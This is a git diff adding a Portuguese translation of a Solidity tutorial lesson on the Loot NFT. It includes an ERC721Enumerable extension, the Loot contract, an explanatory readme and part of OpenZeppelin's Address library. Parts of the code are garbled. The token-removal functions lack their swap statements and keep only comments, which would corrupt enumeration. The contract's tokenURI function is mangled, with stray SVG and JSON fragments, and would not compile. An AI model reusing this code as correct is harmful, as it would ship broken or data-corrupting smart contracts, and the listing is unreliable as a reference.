``from`` será + * transferido para `to`. + * - Quando `from` é zero, `tokenId` será criado para `to`. + * - Quando `to` é zero, o `tokenId` de ``from`` será queimado. + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * + * Para saber mais sobre ganchos, acesse xref:ROOT:extending-contracts.adoc#using-hooks[Usando Ganchos]. + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 tokenId + ) internal virtual override { + super._beforeTokenTransfer(from, to, tokenId); + + if (from == address(0)) { + _addTokenToAllTokensEnumeration(tokenId); + } else if (from != to) { + _removeTokenFromOwnerEnumeration(from, tokenId); + } + if (to == address(0)) { + _removeTokenFromAllTokensEnumeration(tokenId); + } else if (to != from) { + _addTokenToOwnerEnumeration(to, tokenId); + } + } + + /** + * @dev Função privada para adicionar um token às estruturas de dados de rastreamento de propriedade desta extensão. + * @param to endereço que representa o novo proprietário do ID do token fornecido + * @param tokenId uint256 ID do token a ser adicionado à lista de tokens do endereço fornecido + */ + function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { + uint256 length = ERC721.balanceOf(to); + _ownedTokens[to][length] = tokenId; + _ownedTokensIndex[tokenId] = length; + } + + /** + * @dev Função privada para adicionar um token às estruturas de dados de rastreamento de token desta extensão. + * @param tokenId uint256 ID do token a ser adicionado à lista de tokens + */ + function _addTokenToAllTokensEnumeration(uint256 tokenId) private { + _allTokensIndex[tokenId] = _allTokens.length; + _allTokens.push(tokenId); + } + + /** + * @dev Função privada para remover um token das estruturas de dados de controle de propriedade desta extensão. Observe que + * embora o token não seja atribuído a um novo proprietário, o mapeamento `_ownedTokensIndex` não é atualizado: isso permite + * otimizações de gás, por exemplo, ao realizar uma operação de transferência (evitando gravações duplicadas). + * Isso tem complexidade de tempo O(1), mas altera a ordem do array _ownedTokens. + * @param from endereço que representa o proprietário anterior do token ID fornecido + * @param tokenId uint256 ID do token a ser removido da lista de tokens do endereço fornecido + */ + function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { + // Para evitar uma lacuna no array de tokens do 'from', armazenamos o último token no índice do token a ser excluído, e + // então exclua o último slot (troque e remova). + + uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; + uint256 tokenIndex = _ownedTokensIndex[tokenId]; + + // Quando o token a ser excluído é o último token, a operação de troca é desnecessária + if (tokenIndex != lastTokenIndex) { + uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; + + // Mova o último token para o espaço do token a ser excluído + // Atualize o índice do token movido + } + + // Isso também exclui o conteúdo na última posição do array + delete _ownedTokensIndex[tokenId]; + delete _ownedTokens[from][lastTokenIndex]; + } + + /** + * @dev Função privada para remover um token das estruturas de dados de rastreamento de token desta extensão. + * Isso tem complexidade de tempo O(1), mas altera a ordem do array _allTokens. + * @param tokenId uint256 ID do token a ser removido da lista de tokens + */ + function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { + // Para evitar uma lacuna no array de tokens, armazenamos o último token no índice do token a ser excluído, e + // então exclua o último slot (troque e remova). + + uint256 lastTokenIndex = _allTokens.length - 1; + uint256 tokenIndex = _allTokensIndex[tokenId]; + + // Quando o token a ser excluído é o último token, a operação de troca é desnecessária. No entanto, como isso ocorre tão frequentemente, é mais eficiente manter a operação de troca em todos os casos. + // raramente (quando o último token emitido é queimado) que ainda fazemos a troca aqui para evitar o custo de gás de adição + // uma declaração 'if' (como em _removeTokenFromOwnerEnumeration) + uint256 lastTokenId = _allTokens[lastTokenIndex]; + + // Mova o último token para o espaço do token a ser excluído + // Atualize o índice do token movido + + // Isso também exclui o conteúdo na última posição do array + delete _allTokensIndex[tokenId]; + _allTokens.pop(); + } +} + + +contract Loot is ERC721Enumerable, ReentrancyGuard, Ownable { + + string[] private weapons = [ + "Warhammer", + "Quarterstaff", + "Maul", + "Mace", + "Club", + "Katana", + "Falchion", + "Scimitar", + "Long Sword", + "Short Sword", + "Ghost Wand", + "Grave Wand", + "Bone Wand", + "Wand", + "Grimoire", + "Chronicle", + "Tome", + "Book" + ]; + + string[] private chestArmor = [ + "Divine Robe", + "Silk Robe", + "Linen Robe", + "Robe", + "Shirt", + "Demon Husk", + "Dragonskin Armor", + "Studded Leather Armor", + "Hard Leather Armor", + "Leather Armor", + "Holy Chestplate", + "Ornate Chestplate", + "Plate Mail", + "Chain Mail", + "Ring Mail" + ]; + + string[] private headArmor = [ + "Ancient Helm", + "Ornate Helm", + "Great Helm", + "Full Helm", + "Helm", + "Demon Crown", + "Dragon's Crown", + "War Cap", + "Leather Cap", + "Cap", + "Crown", + "Divine Hood", + "Silk Hood", + "Linen Hood", + "Hood" + ]; + + string[] private waistArmor = [ + "Ornate Belt", + "War Belt", + "Plated Belt", + "Mesh Belt", + "Heavy Belt", + "Demonhide Belt", + "Dragonskin Belt", + "Studded Leather Belt", + "Hard Leather Belt", + "Leather Belt", + "Brightsilk Sash", + "Silk Sash", + "Wool Sash", + "Linen Sash", + "Sash" + ]; + + string[] private footArmor = [ + "Holy Greaves", + "Ornate Greaves", + "Greaves", + "Chain Boots", + "Heavy Boots", + "Demonhide Boots", + "Dragonskin Boots", + "Studded Leather Boots", + "Hard Leather Boots", + "Leather Boots", + "Divine Slippers", + "Silk Slippers", + "Wool Shoes", + "Linen Shoes", + "Shoes" + ]; + + string[] private handArmor = [ + "Holy Gauntlets", + "Ornate Gauntlets", + "Gauntlets", + "Chain Gloves", + "Heavy Gloves", + "Demon's Hands", + "Dragonskin Gloves", + "Studded Leather Gloves", + "Hard Leather Gloves", + "Leather Gloves", + "Divine Gloves", + "Silk Gloves", + "Wool Gloves", + "Linen Gloves", + "Gloves" + ]; + + string[] private necklaces = [ + "Necklace", + "Amulet", + "Pendant" + ]; + + string[] private rings = [ + "Gold Ring", + "Silver Ring", + "Bronze Ring", + "Platinum Ring", + "Titanium Ring" + ]; + + string[] private suffixes = [ + "of Power", + "of Giants", + "of Titans", + "of Skill", + "of Perfection", + "of Brilliance", + "of Enlightenment", + "of Protection", + "of Anger", + "of Rage", + "of Fury", + "of Vitriol", + "of the Fox", + "of Detection", + "of Reflection", + "of the Twins" + ]; + + string[] private namePrefixes = [ + "Agony", "Apocalypse", "Armageddon", "Beast", "Behemoth", "Blight", "Blood", "Bramble", + "Brimstone", "Brood", "Carrion", "Cataclysm", "Chimeric", "Corpse", "Corruption", "Damnation", + "Death", "Demon", "Dire", "Dragon", "Dread", "Doom", "Dusk", "Eagle", "Empyrean", "Fate", "Foe", + "Gale", "Ghoul", "Gloom", "Glyph", "Golem", "Grim", "Hate", "Havoc", "Honour", "Horror", "Hypnotic", + "Kraken", "Loath", "Maelstrom", "Mind", "Miracle", "Morbid", "Oblivion", "Onslaught", "Pain", + "Pandemonium", "Phoenix", "Plague", "Rage", "Rapture", "Rune", "Skull", "Sol", "Soul", "Sorrow", + "Spirit", "Storm", "Tempest", "Torment", "Vengeance", "Victory", "Viper", "Vortex", "Woe", "Wrath", + "Light's", "Shimmering" + ]; + + string[] private nameSuffixes = [ + "Bane", + "Root", + "Bite", + "Song", + "Roar", + "Grasp", + "Instrument", + "Glow", + "Bender", + "Shadow", + "Whisper", + "Shout", + "Growl", + "Tear", + "Peak", + "Form", + "Sun", + "Moon" + ]; + + function random(string memory input) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(input))); + } + + function getWeapon(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "WEAPON", weapons); + } + + function getChest(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "CHEST", chestArmor); + } + + function getHead(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "HEAD", headArmor); + } + + function getWaist(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "WAIST", waistArmor); + } + + function getFoot(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "FOOT", footArmor); + } + + function getHand(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "HAND", handArmor); + } + + function getNeck(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "NECK", necklaces); + } + + function getRing(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "RING", rings); + } + + function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) { + uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); + string memory output = sourceArray[rand % sourceArray.length]; + uint256 greatness = rand % 21; + if (greatness > 14) { + output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length])); + } + if (greatness >= 19) { + string[2] memory name; + name[0] = namePrefixes[rand % namePrefixes.length]; + name[1] = nameSuffixes[rand % nameSuffixes.length]; + if (greatness == 19) { + output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output)); + } else { + output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1")); + } + } + return output; + } + + function tokenURI(uint256 tokenId) override public view returns (string memory) { + string[17] memory parts; + //www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"> + + parts[1] = getWeapon(tokenId); + + parts[2] = ''; + + parts[3] = getChest(tokenId); + + parts[4] = ''; + + parts[5] = getHead(tokenId); + + parts[6] = ''; + + parts[7] = getWaist(tokenId); + + parts[8] = ''; + + parts[9] = getFoot(tokenId); + + parts[10] = ''; + + parts[11] = getHand(tokenId); + + parts[12] = ''; + + parts[13] = getNeck(tokenId); + + parts[14] = ''; + + parts[15] = getRing(tokenId); + + parts[16] = ''; + + string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); + output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16])); + + #', toString(tokenId), '", "descrição": "Loot é um equipamento de aventureiro gerado e armazenado aleatoriamente na cadeia. Estatísticas, imagens e outras funcionalidades são intencionalmente omitidas para que outros possam interpretar. Sinta-se à vontade para usar o Loot da maneira que desejar.", "imagem": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); + output = string(abi.encodePacked('data:application/json;base64,', json)); + + return output; + } + + function claim(uint256 tokenId) public nonReentrant { + require(tokenId > 0 && tokenId < 7778, "Token ID invalid"); + _safeMint(_msgSender(), tokenId); + } + + function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { + require(tokenId > 7777 && tokenId < 8001, "Token ID invalid"); + _safeMint(owner(), tokenId); + } + + function toString(uint256 value) internal pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + constructor() ERC721("Loot", "LOOT") Ownable() {} +} + +/// [Licença MIT] +/// @title Base64 +/// @notice Fornece uma função para codificar alguns bytes em base64 +/// @autor Brecht Devos +library Base64 { + bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + /// @notice Codifica alguns bytes para a representação base64 + function encode(bytes memory data) internal pure returns (string memory) { + uint256 len = data.length; + if (len == 0) return ""; + + // multiplicar por 4/3 arredondado para cima + uint256 encodedLen = 4 * ((len + 2) / 3); + + // Adicione um buffer extra no final + bytes memory result = new bytes(encodedLen + 32); + + bytes memory table = TABLE; + + assembly { + let tablePtr := add(table, 1) + let resultPtr := add(result, 32) + + for { + let i := 0 + } lt(i, len) { + + } { + i := add(i, 3) + let input := and(mload(add(data, i)), 0xffffff) + + let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) + out := shl(8, out) + out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) + out := shl(8, out) + out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) + out := shl(8, out) + out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) + out := shl(224, out) + + mstore(resultPtr, out) + + resultPtr := add(resultPtr, 4) + } + + switch mod(len, 3) + case 1 { + mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) + } + case 2 { + mstore(sub(resultPtr, 1), shl(248, 0x3d)) + } + + mstore(result, encodedLen) + } + + return string(result); + } +} diff --git a/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-1.png b/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-1.png new file mode 100644 index 000000000..2f8fd5008 Binary files /dev/null and b/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-1.png differ diff --git a/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-2.png b/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-2.png new file mode 100644 index 000000000..050e9b4d1 Binary files /dev/null and b/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-2.png differ diff --git a/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-3.png b/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-3.png new file mode 100644 index 000000000..242d78367 Binary files /dev/null and b/Languages/pt-br/Topics/ERC721/5_Loot/img/Loot-3.png differ diff --git a/Languages/pt-br/Topics/ERC721/5_Loot/readme.md b/Languages/pt-br/Topics/ERC721/5_Loot/readme.md new file mode 100644 index 000000000..59cf8267d --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/5_Loot/readme.md @@ -0,0 +1,195 @@ +# WTF Solidity Introdução Simples ao Solidity Tópico 5: Loot + +Recentemente, estou estudando Solidity novamente para consolidar os detalhes e escrever um "WTF Solidity Introdução Simples" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +## Loot + +![](./img/Loot-1.png) + +"Loot" é um projeto experimental de NFT na blockchain Ethereum, lançado em agosto de 2021, com um total de 8000 unidades. As primeiras 7777 unidades foram distribuídas gratuitamente através de "minting", e as 233 unidades restantes foram reservadas para os desenvolvedores do projeto. O preço máximo chegou a ultrapassar 20 ETH, mas atualmente está estável em cerca de 1 ETH. Ao contrário dos NFTs de imagens que inundam o mercado, o "Loot" é um NFT de texto, onde todos os metadados são armazenados na blockchain, garantindo a descentralização e a impossibilidade de alteração por terceiros. + +O conteúdo do "Loot" é bastante simples, consistindo em uma descrição textual de um conjunto de equipamentos para jogadores, incluindo armas, capacetes, anéis e outros 8 tipos de itens. Nomes como "Anel de Ouro", "Espada Gêmea" e "Luvas de Couro Resistente" me fazem lembrar do jogo "Diablo" que eu costumava jogar quando era criança. + +O "Loot" é um ecossistema aberto, e os desenvolvedores esperam que mais equipes se juntem à construção do metaverso do "Loot". Nesta aula, vou explicar como o "Loot" gera o texto dos equipamentos usando contratos inteligentes e como ele os armazena na blockchain. + +## Código do Loot +O código do "Loot" está disponível no Etherscan, no seguinte endereço: [link](https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7#code) + +O contrato principal do "Loot" começa na linha 1291 e herda os contratos "ERC721Enumerable", "ReentrancyGuard" e "Ownable", que são bibliotecas padrão do OpenZeppelin. + +```solidity +contract Loot is ERC721Enumerable, ReentrancyGuard, Ownable { +``` + +### 1. Frases básicas para a descrição dos equipamentos +O "Loot" define 11 arrays de strings como variáveis de estado para gerar as frases básicas da descrição dos equipamentos: + +- Oito deles são listas de equipamentos para descrever diferentes partes do corpo, incluindo "weapon" (arma), "chestArmor" (armadura de peito), "headArmor" (armadura de cabeça), "waistArmor" (armadura de cintura), "footArmor" (armadura de pés), "handArmor" (armadura de mãos), "necklaces" (colares) e "rings" (anéis). Por exemplo, a lista de armas contém strings como "Warhammer" e "Quarterstaff": + +```solidity + string[] private weapons = [ + "Warhammer", + "Quarterstaff", + "Maul", + "Mace", + "Club", + "Katana", + "Falchion", + "Scimitar", + "Long Sword", + "Short Sword", + "Ghost Wand", + "Grave Wand", + "Bone Wand", + "Wand", + "Grimoire", + "Chronicle", + "Tome", + "Book" + ]; +``` + +- Os outros três arrays são prefixos e sufixos para modificar os equipamentos, incluindo "suffixes" (sufixos), "namePrefixes" (prefixos de nome) e "nameSuffixes" (sufixos de nome). Os prefixos e sufixos podem tornar os equipamentos mais impressionantes, como "Coroa Perfeita do Dragão" e "Couraça do Gigante Elegante". Por exemplo, o array "suffixes" inclui: + +```solidity + string[] private suffixes = [ + "of Power", + "of Giants", + "of Titans", + "of Skill", + "of Perfection", + "of Brilliance", + "of Enlightenment", + "of Protection", + "of Anger", + "of Rage", + "of Fury", + "of Vitriol", + "of the Fox", + "of Detection", + "of Reflection", + "of the Twins" + ]; +``` + +Ao combinar aleatoriamente as listas de equipamentos e palavras modificadoras, é possível gerar o texto do NFT do "Loot". + +### 2. Geração aleatória do texto da descrição + +Para diferenciar a raridade dos equipamentos, o "Loot" utiliza a função de geração de números pseudoaleatórios na blockchain chamada "random()" para fornecer aleatoriedade ao texto da descrição dos equipamentos: + +```solidity + function random(string memory input) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(input))); + } +``` + +A função "random()" recebe uma string "input" como parâmetro, calcula o hash dessa string e o converte para um número uint256. Isso mapeia diferentes inputs para diferentes números de forma uniforme. Em seguida, esse número é mapeado para a raridade do equipamento. O "Loot" define a função "pluck()" para fazer isso. + +```solidity + function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) { + uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); + string memory output = sourceArray[rand % sourceArray.length]; + uint256 greatness = rand % 21; + if (greatness > 14) { + output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length])); + } + if (greatness >= 19) { + string[2] memory name; + name[0] = namePrefixes[rand % namePrefixes.length]; + name[1] = nameSuffixes[rand % nameSuffixes.length]; + if (greatness == 19) { + output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output)); + } else { + output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1")); + } + } + return output; + } +``` + +A função "pluck()" é responsável por gerar a descrição de um equipamento específico com base no "tokenId", no "keyPrefix" (parte do corpo do equipamento) e no "sourceArray" (lista de equipamentos). Um equipamento tem 33,3% de chance de ter um sufixo, sendo que 9,5% de chance de ter um "nome especial". Portanto, cada equipamento no "Loot" tem 66,7% de chance de ser comum, 23,8% de chance de ser raro e 9,5% de chance de ser épico. + +O "Loot" possui oito funções "get()" para obter os equipamentos de cada parte do corpo. Por exemplo, a função "getWeapon()" retorna a descrição da arma. Ela chama a função "pluck()" com o "keyPrefix" "WEAPON" e a lista de equipamentos "weapons" como parâmetros. + +```solidity + function getWeapon(uint256 tokenId) public view returns (string memory) { + return pluck(tokenId, "WEAPON", weapons); + } +``` + +### 3. Armazenamento dos metadados na blockchain +Como tanto o "keyPrefix" quanto o "sourceArray" são reutilizados, a descrição e a raridade dos equipamentos do "Loot" são totalmente determinadas pelo "tokenId": dado um "tokenId", sempre será gerado o mesmo conjunto de equipamentos. Portanto, o "Loot" não "armazena" todas as descrições dos equipamentos. Sempre que um usuário consulta os metadados, o contrato gera uma nova descrição dos equipamentos. Esse método é inovador e inteligente, reduzindo significativamente o uso de armazenamento e tornando possível o armazenamento dos metadados na blockchain. + +Vamos dar uma olhada na função "tokenURI()": + +```solidity + function tokenURI(uint256 tokenId) override public view returns (string memory) { + string[17] memory parts; + parts[0] = ''; + + parts[1] = getWeapon(tokenId); + + parts[2] = ''; + + parts[3] = getChest(tokenId); + + parts[4] = ''; + + parts[5] = getHead(tokenId); + + parts[6] = ''; + + parts[7] = getWaist(tokenId); + + parts[8] = ''; + + parts[9] = getFoot(tokenId); + + parts[10] = ''; + + parts[11] = getHand(tokenId); + + parts[12] = ''; + + parts[13] = getNeck(tokenId); + + parts[14] = ''; + + parts[15] = getRing(tokenId); + + parts[16] = ''; + + string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); + output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16])); + + string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag #', toString(tokenId), '", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); + output = string(abi.encodePacked('data:application/json;base64,', json)); + + return output; + } +``` + +Normalmente, a função "tokenURI()" de um NFT de perfil (pfp) retorna uma URL com os metadados em formato JSON. No caso do "Loot", ela retorna diretamente um JSON. A função define a variável "parts" e, em seguida, concatena as descrições dos equipamentos usando as oito funções "get()" para formar um arquivo SVG com a descrição dos equipamentos, que será usado como a imagem dos metadados. Por fim, ele empacota o "name", "description" e "image" em um JSON codificado em Base64 e retorna como resultado da consulta "tokenURI()". + +Aqui está um exemplo do resultado da função "tokenURI()": + +```solidity +data:application/json;base64,eyJuYW1lIjogIkJhZyAjNSIsICJkZXNjcmlwdGlvbiI6ICJMb290IGlzIHJhbmRvbWl6ZWQgYWR2ZW50dXJlciBnZWFyIGdlbmVyYXRlZCBhbmQgc3RvcmVkIG9uIGNoYWluLiBTdGF0cywgaW1hZ2VzLCBhbmQgb3RoZXIgZnVuY3Rpb25hbGl0eSBhcmUgaW50ZW50aW9uYWxseSBvbWl0dGVkIGZvciBvdGhlcnMgdG8gaW50ZXJwcmV0LiBGZWVsIGZyZWUgdG8gdXNlIExvb3QgaW4gYW55IHdheSB5b3Ugd2FudC4iLCAiaW1hZ2UiOiAiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhCeVpYTmxjblpsUVhOd1pXTjBVbUYwYVc4OUluaE5hVzVaVFdsdUlHMWxaWFFpSUhacFpYZENiM2c5SWpBZ01DQXpOVEFnTXpVd0lqNDhjM1I1YkdVK0xtSmhjMlVnZXlCbWFXeHNPaUIzYUdsMFpUc2dabTl1ZEMxbVlXMXBiSGs2SUhObGNtbG1PeUJtYjI1MExYTnBlbVU2SURFMGNIZzdJSDA4TDNOMGVXeGxQanh5WldOMElIZHBaSFJvUFNJeE1EQWxJaUJvWldsbmFIUTlJakV3TUNVaUlHWnBiR3c5SW1Kc1lXTnJJaUF2UGp4MFpYaDBJSGc5SWpFd0lpQjVQU0l5TUNJZ1kyeGhjM005SW1KaGMyVWlQazFoZFd3Z2IyWWdVbVZtYkdWamRHbHZiand2ZEdWNGRENDhkR1Y0ZENCNFBTSXhNQ0lnZVQwaU5EQWlJR05zWVhOelBTSmlZWE5sSWo1UWJHRjBaU0JOWVdsc1BDOTBaWGgwUGp4MFpYaDBJSGc5SWpFd0lpQjVQU0l5TUNJZ1kyeGhjM005SW1KaGMyVWlQa1J5WVdkdmJpZHpJRU55YjNkdUlHOW1JRkJsY21abFkzUnBiMjQ4TDNSbGVIUStQSFJsZUhRZ2VEMGlNVEFpSUhrOUlqZ3dJaUJqYkdGemN6MGlZbUZ6WlNJK1UyRnphRHd2ZEdWNGRENDhkR1Y0ZENCNFBTSXhNQ0lnZVQwaU1UQXdJaUJqYkdGemN6MGlZbUZ6WlNJK1NHOXNlU0JIY21WaGRtVnpQQzkwWlhoMFBqeDBaWGgwUGp4MFpYaDBJSGc5SWpFd0lpQjVQU0l4TkRBaUlHTnNZWE56UFNKaVlYTmxJajVRWlc1a1lXNTBQQzkwWlhoMFBqeDBaWGgwSUhnOUlqRXdJaUI1UFNJeE1qQWlJR05zWVhOelBTSmlZWE5sSWo1SVlYSmtJRXhsWVhSb1pYSWdSMnh2ZG1WelBDOTBaWGgwUGp4MFpYaDBJSGc5SWpFd0lpQjVQU0kyTUNJZ1kyeGhjM005SW1KaGMyVWlQa1J5WVdkdmJpZHpJRU55YjNkdUlHOW1JRkJsY21abFkzUnBiMjQ4TDNSbGVIUStQSFJsZUhRZ2VEMGlNVEFpSUhrOUlqZ3dJaUJqYkdGemN6MGlZbUZ6WlNJK1NHOXNlU0JIY21WaGRtVnpQQzkwWlhoMFBqd3ZjM1puUGc9PSJ9 +``` + +Copie e cole o resultado em um navegador para obter diretamente os metadados do "Loot". É bastante impressionante: +![](./img/Loot-2.png) + +Aqui está um exemplo da imagem gerada pelo "Loot" com a descrição em texto em formato SVG: +``` +data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzNTAiIGhlaWdodD0iMzUwIj4KPHJlY3Qgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIGZpbGw9ImJsYWNrIiAvPjx0ZXh0IHg9IjEwIiB5PSIyMCIgY2xhc3M9ImJhc2UiPjxzdHlsZT4uYmFzZSB7IGZpbGw6IHdoaXRlOyBmb250LWZhbWlseTogc2VyaWY7IGZvbnQtc2l6ZTogMTRweDsgfTwvc3R5bGU+PHJlY3Qgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMCIgY2xhc3M9ImJhc2UiPk1hdWwgb2YgUmVmbGVjdGlvbjwvcmVjdD48dGV4dCB4PSIxMCIgeT0iNDAiIGNsYXNzPSJiYXNlIj5QbGF0ZSBNYWlsPC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSI2MCIgY2xhc3M9ImJhc2UiPkRyYWdvbidzIENyb3duIG9mIFBlcmZlY3Rpb248L3RleHQ+PHRleHQgeD0iMTAiIHk9IjgwIiBjbGFzcz0iYmFzZSI+SG9seSBHcmVhdmVzPC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSIxMjAiIGNsYXNzPSJiYXNlIj5IYXJkIExlYXRoZXIgR2xvdmVzPC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSIxNDAiIGNsYXNzPSJiYXNlIj5QZW5kYW50PC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSIxNjAiIGNsYXNzPSJiYXNlIj5UaXRhbml1bSBSaW5nPC90ZXh0Pjwvc3ZnPgo= +``` diff --git a/Languages/pt-br/Topics/ERC721/Address.sol b/Languages/pt-br/Topics/ERC721/Address.sol new file mode 100644 index 000000000..9f5456917 --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/Address.sol @@ -0,0 +1,222 @@ +// SPDX-License-Identifier: MIT +// Contratos OpenZeppelin (última atualização v4.5.0) (utils/Address.sol) + +pragma solidity ^0.8.1; + +/** + * @dev Coleção de funções relacionadas ao tipo de endereço + */ +library Address { + /** + * @dev Retorna verdadeiro se `conta` for um contrato. + * + * [IMPORTANTE] + * ==== + * Não é seguro assumir que um endereço para o qual esta função retorna + * falso é uma conta de propriedade externa (EOA) e não um contrato. + * + * Entre outros, `isContract` retornará falso para os seguintes + * tipos de endereços: + * + * - uma conta de propriedade externa + * - um contrato em construção + * - um endereço onde um contrato será criado + * - um endereço onde um contrato viveu, mas foi destruído + * ==== + * + * [IMPORTANTE] + * ==== + * Você não deve confiar em `isContract` para se proteger contra ataques de empréstimo instantâneo! + * + * Impedir chamadas de contratos é altamente desencorajado. Isso quebra a composabilidade, quebra o suporte para carteiras inteligentes + * como Gnosis Safe, e não fornece segurança, pois pode ser contornado chamando de um contrato + * construtor. + * ==== + */ + function isContract(address account) internal view returns (bool) { + // Este método depende de extcodesize/address.code.length, que retorna 0 + // para contratos na construção civil, uma vez que o código é armazenado apenas no final + // da execução do construtor. + + return account.code.length > 0; + } + + /** + * @dev Substituição para o `transfer` do Solidity: envia `amount` wei para + * `recipient`, encaminhando todo o gás disponível e revertendo em caso de erros. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] aumenta o custo de gás + * de certas opcodes, possivelmente fazendo com que contratos ultrapassem o limite de gás de 2300 + * imposto pelo `transfer`, tornando-os incapazes de receber fundos via + * `transfer`. {sendValue} remove essa limitação. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Saiba mais]. + * + * IMPORTANTE: porque o controle é transferido para `recipient`, é necessário ter cuidado + * para não criar vulnerabilidades de reentrância. Considere usar + * {ReentrancyGuard} ou o + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[padrão checks-effects-interactions]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + (bool success, ) = recipient.call{value: amount}(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Executa uma chamada de função Solidity usando um `call` de baixo nível. Um + * `call` simples é uma substituição insegura para uma chamada de função: use esta + * função em vez disso. + * + * Se `target` reverter com uma razão de revert, ela é propagada por esta + * função (como chamadas de função Solidity regulares). + * + * Retorna os dados brutos retornados. Para converter para o valor de retorno esperado, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requisitos: + * + * - `target` deve ser um contrato. + * - chamar `target` com `data` não deve reverter. + * + * _Disponível desde a versão 3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Mesmo que 